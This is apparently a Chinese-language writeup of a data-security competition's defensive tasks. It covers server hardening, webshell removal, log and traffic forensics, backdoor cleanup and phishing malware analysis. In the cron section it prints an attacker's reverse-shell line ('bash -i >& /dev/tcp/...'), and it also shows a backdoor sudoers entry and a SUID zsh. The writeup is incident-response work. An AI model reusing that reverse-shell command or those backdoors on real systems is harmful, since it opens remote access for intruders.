第二届数据安全大赛暨首届“数信杯”数据安全大赛西部赛区半决赛Writeup – babynss 战队
这个比赛是抽空摸的,因为环境问题,需要openssh,队友们也各种出状况,最后好歹没有死的太惨。不过这次这个check要背大锅,很多check我个人觉得不是特别合理,导致我11点前其实就把大部分修复题目尽量的操作过了, 结果一看面板就俩蓝灯心态都炸了。后来才发现灯和题目有对应关系又重新一个一个排查,又因为按轮次计分导致丢了不少分数。不过好在算法题check比较简单2分钟Windows画图给秒了,也算是捡了个漏。
最后因为这个题目综合性比较强,所以准备重新梳理下,也重新学了不少东西,也算是有了收货,最后叠个甲,本人只是稍微会一点点misc方向的东西re和web个人过菜,所以这类部分就当我瞎写的,用misc思路做的,还请各位爷见谅。
门户网站
基础信息
web 服务地址:http://169.254.11.12:80
ttyd-ssh 服务:http://169.254.11.12:8080
mysql 服务:root/123456
SSH配置
任务描述:该服务器的 ssh 配置已经被攻击者进行恶意的修改,现在请你修正 ssh 的配置:
任务目标:
实现仅允许公钥登录。
重置授权密钥文件仅为默认值。
根据被修改的配置找到恶意的授权密钥文件,并且删除恶意目录以及文件。
找到 /etc/ssh/sshd_config
password login off pubkey login on
配置文件中还插入了其他秘钥文件例如 ./.sshd/authroize_keys2,直接dd删除整行重新补一个原路径或者只删除非正常路径
在保存了密码登录和密钥登录的配置文件之后,根据被恶意添加的路径,查看下文件,按正常来说可以把公钥回收下,如果有相同公钥指纹的用户登录或者其他机子发现相同指纹的,方便做应急处理和溯源
由于是正常比赛就直接将目录删除即可,更多相关配置随便找了,可以参考下。
apache 安全配置
任务描述:修改 apache 的安全策略配置。
任务目标:
实现隐藏 apache 的版本号,最终效果为
Server: Apache
在配置文件中,将
<Directory />
目录配置中不安全的修改项进行修改(hint:只有一处)
隐藏Apache的信息其实一搜就有,这里贴的,还算比较完整,因为好像没有vim和nano,也有可能我typo了,所以用sed来查找和修改,他远程环境的Apache配置目录在/etc/apache2/apache2.conf
sed -i '/<Directory \/>/,/<\/Directory>/s/Options Indexes FollowSymLinks/Options FollowSymLinks/' /etc/apache2/apache2.conf
sed -i '/# Global configuration/a ServerTokens Prod\nServerSignature Off' /etc/apache2/apache2.conf
执行重启就行,但是我执行service有点问题,就干脆直接去usr/sbin里面去找看看有没有现有的脚本,最后执行restart即可完成修复
mysql增量恢复
任务描述:攻击者破坏了用户余额数据表 pre_user_balance。
任务目标:现在请你根据数据库日志 binlog.000004 文件恢复到该日志中最初始记录时的数据。
因为之前只知道有binlog但是没有实操过,找了,就按现在的情况改了下命令,最后check处于过了和没过的中间状态。
mysqlbinlog /path/to/binlog.000004 > binlog_output.sql mysql -u root -p mysql < binlog_output.sql
OA系统
基础信息
web 服务地址:http://10.10.10.12:80
ssh(22 端口) 账户密码:root/f6fffd40:
redis加固
任务描述:服务器被入侵了,管理员发现黑客通过 redis 未授权访问攻击了服务器,请修复服务器中以下问题
任务目标:修复 redis 未授权访问问题,并给 redis 加一个验证密码,该密码需要设置为 6b95fa87 。
关于redis之前找到了各,可以推荐一波
加固redis,之前还收藏了,可以直接拿来用,找到redis配置文件。
vim /etc/redis/redis.conf配置加一句
requirepass 6b95fa87
webshell分析
任务描述:寻找攻击者留下的 webshell
任务目标:找到 webshell 路径并删除
查看了下根目录文件,发现有个源码包(xinhu_utf8_v2.6.0.zip
),不出意外的话这个包应该就是整站的原始包,他题目基本上明说了只有一个webshell,一般站长也不会大批量修改就解压后直接对比哈希就能发现文件有没有修改过
使用HashMyFiles导入所有文件,在为数不多的几个独立php文件里面,稍微审计下发现error.php有问题,不过这个方法有个弊端,万一有入侵者塞了两到三个马就不好查了(cp几份哈希值都不会变的)
最后删掉error.php就行
蚁剑流量分析
任务描述:对攻击者进行溯源
任务目标:提交攻击者所窃取的机密信息
Wireshark打开,我其实想不出他能藏哪,回显明文,那就只能藏攻击里面,那就是纯苦力题,找base64,然后补padding解码一气呵成最后在89流找到了。
tcp.stream eq 89
后门发现
任务描述:寻找并分析攻击者留下的恶意后门
任务目标:找到攻击者的 ip+端口,提交格式为 flag{ip:端口}
既然是找IP和端口,要么找到程序(或者马),要么找到流量记录,首先一个netstat -tun,直接秒了
后门清除*
任务描述:寻找并清除攻击者留下的恶意后门
任务目标:清除恶意后门
其实按情况应该分析木马的,但是当时好像没有去找,这里搬了下,思路是发现恶意进程然后找运行中的进程文件,最后定位文件,就稍微偷偷搬点过来.jpg
ps -aux
cd /proc/PID
ll exe
发现在/usr/bin/python3.6
本题没有完成直接用的其他人的wp,如果权益方有异议可以直接留言或联系我,先在此道歉
文件解密*
任务描述:攻击者使用勒索病毒将数据库导出的 sql 文件进行加密,并且删除了原数据库。
任务目标:根据在攻击者机器找到的勒索病毒,解密还原 sql 文件,并找到其中的 flag。
这里只能给大致过程,笔者并未解出,来源与与其他师傅讨论。
首先在home目录下有个rockxinhu.sql.norizen
,如果你用fine / | grep norizen,其实可以发现一个ELF程序的,但是我们在解题过程中以为他是后门直接给删了,导致无法完成这个题目,也不能重启环境就不了了之了。
这个程序加密好像并不复杂,恢复了文件之后直接可以在文件中看到flag
数据库恢复*
任务描述:根据还原的 sql 文件,进行恢复数据库
任务目标:恢复数据库
这里只能给大致过程,笔者并未解出,来源与与其他师傅讨论。
拿到恢复过后的sql 直接 mysql -u root -p < *.sql执行就行
个人文件系统
基本信息
ttyd-ssh 服务:http://10.10.10.13:80
日志分析
任务描述:需要分析 nginx 日志,找到攻击者盗取的机密信息
任务目标:提交攻击者窃取的机密信息
题目提示nginx日志,直接cat /var/log/nginx/access.log
,看了一眼应该是sql盲注,用的二分法。
分析了下那响应包长度940位True,长度为921的时候为False,当时没什么时间搓脚本直接人工分析,Ctrl+F检索>80,每一次检索的上一条如果是True则,请求判断的ascii+1为目标值,为False则当前请求判断的值为目标值,手动记录即可。
最后cyberchef一转结束,补wp的没截图,所以就放个方法。
计划任务分析
任务描述:需要分析攻击者留在系统中的计划任务后门。
任务目标:找到并提交攻击者的 ip+端口,提交格式为 flag{ip:端口}
计划任务那直接看crontab和cron.d以及其他cron系列,最后cron.d里面有个safeline文件,其中保存了个反弹shell
cat /etc/cron.d/*
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
* * * * * root bash -i >& /dev/tcp/8.8.36.233/9001 0>&1
那8.8.36.233:9001,上面的执行信息参考的其他wp,因为补wp的时候环境关了没截图
计划任务清除
任务描述:需要清除攻击者留在系统中的计划任务后门。
任务目标:清除计划任务(check)
那都知道是这个位置了,简单粗暴的解决方式把cron.d和cron和crontab里面的所有文件包括隐藏文件都扬了就行
所以用ls -al遍历下所有的cron.d,然后把里面的文件都删了,最后过了check
sudo组后门
任务描述:需要分析出 sudo 组中的后门用户。
任务目标:清除 sudo 组中的后门用户。
先来个sudo check一把梭
getent group sudo
sudo:x:27:
root@245e7643a7df://# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
Defaults use_pty
# This preserves proxy settings from user environments of root
# equivalent users (group sudo)
#Defaults:%sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"
# This allows running arbitrary commands, but so does ALL, and it means
# different sudoers have their choice of editor respected.
#Defaults:%sudo env_keep += "EDITOR"
# Completely harmless preservation of a user preference.
#Defaults:%sudo env_keep += "GREP_COLOR"
# While you shouldn't normally run git as root, you need to with etckeeper
#Defaults:%sudo env_keep += "GIT_AUTHOR_* GIT_COMMITTER_*"
# Per-user preferences; root won't have sensible values for them.
#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"
# "sudo scp" or "sudo rsync" should be able to use your SSH agent.
#Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"
# Ditto for GPG agent
#Defaults:%sudo env_keep += "GPG_AGENT_INFO"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
root@245e7643a7df://# cat /etc/sudoers.d/README
#
# The default /etc/sudoers file created on installation of the
# sudo package now includes the directive:
#
# @includedir /etc/sudoers.d
#
# This will cause sudo to read and parse any files in the /etc/sudoers.d
# directory that do not end in '~' or contain a '.' character.
#
# Note that there must be at least one file in the sudoers.d directory (this
# one will do).
h4ck ALL=(ALL) ALL
# Note also, that because sudoers contents can vary widely, no attempt is
# made to add this directive to existing sudoers files on upgrade. Feel free
# to add the above directive to the end of your /etc/sudoers file to enable
# this functionality for existing installations if you wish! Sudo
# versions older than the one in Debian 11 (bullseye) require the
# directive will only support the old syntax #includedir, and the current
# sudo will happily accept both @includedir and #includedir
#
# Finally, please note that using the visudo command is the recommended way
# to update sudoers content, since it protects against many failure modes.
# See the man page for visudo and sudoers for more information.
#root@245e7643a7df://# cim /etc/sudoers.d/README
bash: cim: command not found
root@245e7643a7df://# vim /etc/sudoers.d/README
root@245e7643a7df://# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
一眼顶针的有_apt
和h4ck
,直接先deluser和group,然后看到sudoers.d的README中有h4ck ALL=(ALL) ALL`,直接vim dd掉,但是这样结束之后没有过check,后面直接rm README反而过check了,有点迷
suid清除
任务描述:分析出攻击者留在系统中有 suid 的后门程序。
任务目标:清除有 suid 的后门程序。
首先查找所有suid文件
find / -perm /4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/zsh
/usr/bin/sudo
zsh并不是自带suid的文件删除即可
chmod u-s /usr/bin/zsh
rm /usr/bin/zsh
即时协作服务器
基本信息
web 服务地址:http://10.10.10.11:9090
ttyd-ssh 服务:http://10.10.10.11:8088
mysql 服务端口:3306
弱口令修改
任务描述:修改平台的弱口令 admin/admin。
任务目标:修复平台的弱口令,注意不要修改其他用户的密码。
这种直接用web面板操作是最合适的,直接去后台用户管理,用户选择admin,修改密码即可
hsqldb 数据迁移
任务描述:将平台原本的 hsqldb 数据库更换为 mysql 数据库
任务目标:更换默认数据库为 mysql 数据,仅需仅迁移用户信息以及用户群组信息即可,并设定 mysql 数
库用户名密码为:pdx/Li4444555635!。(仅 check:ofUser,ofGroupUser 两张表)
首先先创建数据库和用户
CREATE DATABASE openfire_db;
CREATE USER 'pdx'@'localhost' IDENTIFIED BY 'Li4444555635!';
GRANT ALL PRIVILEGES ON openfire_db.* TO 'pdx'@'localhost';
FLUSH PRIVILEGES;
EXIT;
cat /opt/openfire/embedded-db/openfire.script | grep ofuser
先把这两个表的相关操作给找到
继续重建数据库结构,然后进入mysql手动根据数据创建数据表和导入数据
CREATE TABLE ofUser (
username VARCHAR(64) NOT NULL,
plainPassword VARCHAR(32),
encryptedPassword VARCHAR(255),
name VARCHAR(100),
email VARCHAR(100),
creationDate CHAR(15) NOT NULL,
modificationDate CHAR(15) NOT NULL,
PRIMARY KEY (username)
);
CREATE TABLE ofGroupUser (
groupName VARCHAR(50) NOT NULL,
username VARCHAR(64) NOT NULL,
administrator TINYINT NOT NULL,
PRIMARY KEY (groupName, username)
);
INSERT INTO OFUSER VALUES('admin',NULL,NULL,NULL,NULL,'admin',NULL,'Administrator','admin@example.com','0','0');
INSERT INTO OFUSER VALUES('limeili','ZAcvIHRqNnhsXp+oOq+A8qv+7iU=','acw3llrZAR7IUwMDk9+CtVz4jWM=','xmHAApjfblDAUKD46bK09B0XZsLRc0h+',4096,NULL,'18e534b7a5d827d9f8bdad99c7e5f59c7b8833e4326accc4ad4a2f01bf33ddc85b6d9513de1a9596','limeili','limeili@qq.com','001723008664206','001723008664206');
INSERT INTO OFGROUPUSER VALUES('pdxGroup','limeili',0);
INSERT INTO OFGROUPUSER VALUES('pdxGroup','pdx',1);
端口修改
任务描述:该实时协作平台存在 Openfire 身份认证绕过漏洞,但是由于断网环境,且其他服务器已经被入
侵,为了防止横向渗透,请你修改端口为不常用的端口缓解这个漏洞。
任务目标:在断网情况下,修改默认 9090 端口为 12335 端口
顺便把数据库迁移的尾收了,之前并没有重启服务和修改openfire的配置,因为各种原因我vim用不了只能再次使用sed来进行搜索并修改,命令如下
sed -i 's/<port>9090<\/port>/<port>12335<\/port>/g' /home/user/openfire/conf/openfire.xml
sed -i 's|<jdbcProvider>.*</jdbcProvider>|<jdbcProvider>\n <driver>com.mysql.cj.jdbc.Driver</driver>\n <connectionString>jdbc:mysql://localhost:3306/openfire_db?user=pdx&password=Li4444555635!&useSSL=false</connectionString>\n</jdbcProvider>|g' /home/user/openfire/conf/openfire.xml
service openfire restart
好像最后重启service会提示找不到指定的service,有点小问题但是无伤大雅,不是找程序就是找services实在不行ps看一下都能找到启动方法
邮件服务器
基本信息
web 平台地址:http://169.254.11.6:80
web 管理地址:http://169.254.11.6:8080
web 管理账号密码:admin/12345678
ttyd-ssh 服务:http://169.254.11.6:8088
冗余邮箱发现
任务描述:根据/home 目录中提供的员工表,找到冗余的邮箱。
任务目标:提交员工表中不存在邮箱,提交格式为 flag{LiMin@yansou.com},注意名字的首字母为大写。
从管理后台进入,查看用户列表,在和/home中Excel表格放在一起,用高亮重复项即可找到
flag{Shun.Xie@yansou.com}
钓鱼邮件发现
任务描述:寻找可能为钓鱼邮件的邮件。
任务目标:提交钓鱼邮件中的恶意 IP,提交格式为 flag{1.1.1.1}。
还是hashmyfile大法,找哈希值不一样的落单的
12.12.12.12就是答案,其实感觉可以直接检索http这个关键字毕竟是钓鱼邮件嘛,或者检索.exe之类的,感觉这样才是一个比较合理的方式。我这个纯属运气好,因为想着第一份钓鱼邮件一定是断头的,只有一个人收到,但是感觉这个想法比较错误,不过最后也对了
钓鱼邮件分析溯源
任务描述:根据找到的钓鱼邮件,溯源出最原始的邮件发出人。
任务目标:提交最原始的邮件发出人,提交格式为 flag{xxx@yansou.com},注意名字的首字母为大写。
直接查看邮件 Return-Path:<Qing.Shen@yansou.com>
提交后结果正确
恶意病毒分析1
任务描述:在邮件服务器中的 home 目录还发现了一个病毒文件,请分析该恶意病毒。
任务目标:提交恶意病毒中定时任务启动时间,提交格式为 flag{01:22}。
每次这种找信息的病毒或者木马分析就会变成微步沙箱大型宣传会.jpg,直接传微步沙箱,获得结果15:14。
原本想看ida解决的但是具体语句应该是被加密了的但是还没有去分析(结果后面题目要用到)
恶意病毒分析2
任务描述:在邮件服务器中的 home 目录还发现了一个病毒文件,请分析该恶意病毒。
任务目标:提交恶意病毒自身复制的文件位置,提交格式为 flag{e:\documents\secret}
这个除了看微步沙箱,还可以直接看main里面直接写了目的地址,还没有被加密,两种方法都可以最后是复制到c:\windows\system32
恶意流量分析
流量分析,最后是窃取了信息,那就一定会和C2传输数据,直接搜索C2的域名发现确实有通讯
发现文本应该是加密了的,之前就发现了部分命令存在运行时自解密,先用cyberchef看看,其实printable字符蛮多的,重复性也高,考虑到可能是换表类或者映射类加密
然后查看ida的过程中在main函数后面有几个函数重复被调用,结合前面的自解密,跟进去其中一个出现了base64码表
那结合cyberchef初步解密结果,统计了下出现的字符,只出现了64种,那么可能是每个字符都被相同的操作给替换了,找了下发现了个0x18的异或。
用再^0x18,并且解base64之后结果已经完全printable了,其实这个时候可以直接联想Norizen下面也出现了7字符长度,但是短时间内没有看出点关系所以继续往后看。
又因为和用户名的长度对得上,然后下面出现了0-9以及wurtsv,没有出现其他字母,估计是某个哈希结果或者说bytes串,ida里面后面出现了%26应该是对字母进行了操作。
随即爆了下凯撒和rot,原本说用quip辅助猜测的后来发现完全没必要,凯撒就出了
用Norizen的NTLM哈希值去检索了下,发现密码,这道题是说为什么找不到Norizen这个关键字结果是以这种形式出现的
算法题
1.水印攻击
题目描述:题目中提供一张通过水印技术嵌入文字的图片,选手可以通过代码尝试对图片进行攻击,使得水
印无法正确提取。
可以对图片进行区域裁剪、压缩、改变亮度、加掩码块、加噪音或叠加水印,但不可以改变原图大小即
放大、缩小原图。同学在处理完图片后,将结果图片提交,系统首先对嵌入文字进行提取,无法正确取出水
印则判断攻击成功,再根据与原图的差异进行计算得分。对原图改变越小,得分越高。如进行裁剪、掩码等
操作即使成功,对原图的改变也会相对较大。
- 数据描述:数据为一张已嵌入文字的图片。
- 答题规范:选手利用代码方式对图片进行操作。并将处理完成后的图像输出。后台计分程序会对结果进行
打分。如果从输出的图片内仍然可以将嵌入的文字完整提取出,将不会得分,所以对图像的处理允许多次提
交来查看是否攻击成功及得分,并考虑后续如何改进。
- 评测标准:得分 = int(计算两幅图像的(SSIM + MSE)/ 2 * 1000),平台取最高得分为最终结果,若低于之
前提交的所有高分,则分数不变。
只能说check计分方式不是特别合理,其他比赛这类类似的题是按操作的像素量来计算得分,他是按整体的像素差值和结构相似度来判断的,所以修改所有像素理论来说你的得分也不会太低,所以我直接使用画图大法。
先用瞄一眼信息藏哪的:
动了多个色阶,估计可以参考G4的点来动,但是呢写脚本太麻烦了,虽然当时没有分析他的算法,不过我先试试如果把底色替换成同一个能不能过check,直接拿画图糊了四个长方形去遮盖,用再看一下眼:
第二届数据安全大赛暨首届“数信杯”数据安全大赛西部赛区半决赛Writeup – babynss 战队
https://www.wd-ljt.com/post/1006/1034.html
来源于问谛居,转载记得联系作者哟~
共有 0 条评论